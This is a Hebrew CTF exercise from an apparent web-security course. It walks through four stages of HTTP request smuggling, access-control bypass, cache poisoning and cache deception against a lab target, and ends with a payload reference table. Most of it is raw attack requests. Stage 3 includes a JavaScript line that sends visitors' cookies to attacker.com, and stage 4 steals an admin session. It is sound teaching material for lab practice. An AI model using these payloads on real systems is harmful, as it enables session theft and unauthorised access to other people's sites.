אתגר CTF - תקיפות פרוטוקול HTTP¶
הקדמה¶
אתגר זה משלב את כל הנושאים שנלמדו בפרק 5 - הברחת בקשות, תקיפות HTTP/2, הרעלת מטמון, הטעיית מטמון והרעלת תור תגובות. האתגר בנוי בארבעה שלבים, כל אחד דורש טכניקה שונה ומתבסס על הקודם.
תיאור הסביבה¶
ארכיטקטורת היעד:
[לקוח] --HTTPS/H2--> [CDN/Cache] --HTTP/1.1--> [Reverse Proxy] --HTTP/1.1--> [Application]
- ה-CDN מקבל HTTP/2 ומבצע downgrade ל-HTTP/1.1
- ה-Reverse Proxy מעביר בקשות ל-Application עם keep-alive
- המטמון שומר משאבים סטטיים לפי סיומת קובץ
- פאנל הניהול /admin חסום על ידי ה-Reverse Proxy
- יש מערכת login ו-session management
שלב 1 - זיהוי סוג הברחה¶
מטרה: גלו אם המערכת פגיעה להברחת בקשות, ומאיזה סוג.
הנחיות¶
- שלחו בקשות בדיקה לזיהוי CL.TE:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1\r\n
Z\r\n
Q
- שלחו בקשות בדיקה לזיהוי TE.CL:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0\r\n
\r\n
X
- אם שני הסוגים לא עבדו, נסו HTTP/2 downgrade:
- שלחו בקשת HTTP/2 עם Content-Length לא תואם
- בדקו הזרקת CRLF בכותרות HTTP/2
-
נסו Transfer-Encoding ב-HTTP/2
-
נסו ערפולי TE.TE:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
תוצאה מצופה: זיהוי סוג ההברחה (CL.TE, TE.CL, H2.CL, H2.TE, או TE.TE) ואישור עם בקשה שגורמת לשגיאה בבקשה הבאה.
מעבדות רלוונטיות:
- PortSwigger: HTTP request smuggling, basic CL.TE vulnerability
- PortSwigger: HTTP request smuggling, basic TE.CL vulnerability
- PortSwigger: HTTP request smuggling, obfuscating the TE header
- PortSwigger: H2.CL request smuggling
שלב 2 - עקיפת בקרות גישה¶
מטרה: השתמשו בהברחה שגיליתם כדי לגשת לפאנל הניהול.
הנחיות¶
- הבריחו בקשת GET ל-
/admin:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: <calculate>
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=1
- אם
/adminדורש כותרת מיוחדת (כמוX-Admin: trueאו IP פנימי), גלו מה נדרש: - הבריחו בקשה שהתגובה שלה מוצגת לכם (למשל POST לתגובה/חיפוש)
- לכדו את הכותרות שהשרת החזיתי מוסיף
-
הוסיפו את הכותרות הנדרשות לבקשה המוברחת
-
מצאו את פעולת מחיקת המשתמש בפאנל הניהול:
תוצאה מצופה: גישה לפאנל הניהול ומחיקת המשתמש carlos.
מעבדות רלוונטיות:
- PortSwigger: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE
- PortSwigger: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL
- PortSwigger: Exploiting HTTP request smuggling to reveal front-end request rewriting
שלב 3 - הרעלת מטמון¶
מטרה: הרעילו את המטמון כך שכל מבקר באתר יטען JavaScript זדוני.
הנחיות¶
- מצאו קובץ JavaScript שנשמר במטמון:
GET /static/main.js HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
X-Cache: hit
Cache-Control: public, max-age=3600
- השתמשו בהברחת בקשות כדי להרעיל את המטמון:
POST / HTTP/1.1
Host: target.com
Content-Length: <calculate>
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
Content-Length: 10
x=1
- ארחו JavaScript זדוני בשרת שלכם (exploit server):
// https://attacker.com/static/main.js
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
-
שלחו את הבקשה המוברחת מספר פעמים עד שהמטמון ישמור את התגובה הזדונית
-
אשרו שהמטמון מורעל:
תוצאה מצופה: כל מבקר באתר מטעין JavaScript מהשרת שלכם.
אלטרנטיבה - הרעלה ללא הברחה:
אם יש כותרות שאינן במפתח המטמון:
GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
<script src="https://attacker.com/malicious.js"></script>
מעבדות רלוונטיות:
- PortSwigger: Exploiting HTTP request smuggling to perform web cache poisoning
- PortSwigger: Web cache poisoning with an unkeyed header
- PortSwigger: Web cache poisoning with multiple headers
שלב 4 - גניבת session של אדמין¶
מטרה: השתמשו בהטעיית מטמון כדי לגנוב את ה-session של האדמין.
הנחיות¶
-
מצאו דף עם מידע רגיש (כמו
/admin/settingsאו/admin/profile) -
בנו URL שגורם למטמון לשמור את הדף הפרטי:
https://target.com/admin/settings/x.css
https://target.com/admin/settings;x.css
https://target.com/admin/settings%00.css
- שלחו את ה-URL לאדמין (דרך XSS מהשלב הקודם, או דרך פונקציונליות קיימת):
- גשו ל-URL מגולמת (ללא Cookie) כדי לקרוא את תגובת האדמין:
GET /admin/settings/x.css HTTP/1.1
Host: target.com
(ללא Cookie)
HTTP/1.1 200 OK
X-Cache: hit
(תוכן דף ההגדרות של האדמין, כולל API key או session)
אלטרנטיבה - הרעלת תור תגובות:
POST / HTTP/1.1
Host: target.com
Content-Length: <calculate>
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: target.com
שלחו מיד אחרי בקשה רגילה ולכדו את ה-session של המשתמש הבא.
תוצאה מצופה: גניבת session או API key של האדמין.
מעבדות רלוונטיות:
- PortSwigger: Exploiting path mapping for web cache deception
- PortSwigger: Response queue poisoning via H2.TE request smuggling
- PortSwigger: Exploiting HTTP request smuggling to capture other users' requests
אתגר נוסף - HackTheBox¶
אתגרים רלוונטיים ב-HackTheBox¶
1. Neonify - הזרקת CRLF בכותרות
2. Toxic - הרעלת מטמון עם PHP deserialization
3. Gunship - שרשרת תקיפות HTTP
4. Weather App - SSRF דרך הברחת בקשות
5. Diogenes' Rage - תנאי מרוץ + HTTP
משימה¶
בחרו אחד מהאתגרים הבאים ב-HackTheBox ופתרו אותו:
- חפשו אתגרי Web עם תגיות "HTTP", "smuggling", "cache"
- נסו לזהות את סוג החולשה לפני שאתם מתחילים לנצל
- תעדו את כל שלבי הפתרון
טבלת עזר - payloads¶
הברחת CL.TE¶
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: <total_body_length>
Transfer-Encoding: chunked
0
<smuggled_request>
הברחת TE.CL¶
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
<chunk_size_hex>
<smuggled_request_as_chunk_data>
0
הברחת H2.CL¶
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0
<smuggled_request>
הברחת H2.TE (עם CRLF)¶
:method: POST
:path: /
:authority: target.com
foo: bar\r\nTransfer-Encoding: chunked
0
<smuggled_request>
קריטריונים להצלחה¶
| שלב | קריטריון | ניקוד |
|---|---|---|
| שלב 1 | זיהוי נכון של סוג ההברחה | 25% |
| שלב 2 | גישה לפאנל ניהול ומחיקת carlos | 25% |
| שלב 3 | הרעלת מטמון שמשפיעה על כל המבקרים | 25% |
| שלב 4 | גניבת session/API key של אדמין | 25% |
| בונוס | פתרון אתגר HackTheBox | +10% |
| בונוס | כתיבת סקריפט אוטומציה | +10% |
טיפים כלליים¶
- תמיד השתמשו ב-cache buster כשאתם בודקים - הוסיפו פרמטר אקראי כדי לא להרעיל את המטמון בטעות
- תעדו כל צעד - רשמו את הבקשות והתגובות המדויקות
- חשבו Content-Length בקפידה - בית אחד לא נכון יגרום לכישלון
- זכרו את ה-
\r\n- ב-Burp Suite, ודאו שאתם שולחים\r\nולא\nבלבד - עבדו בסביבה מבוקרת - אל תנסו תקיפות אלו על מערכות ייצור ללא אישור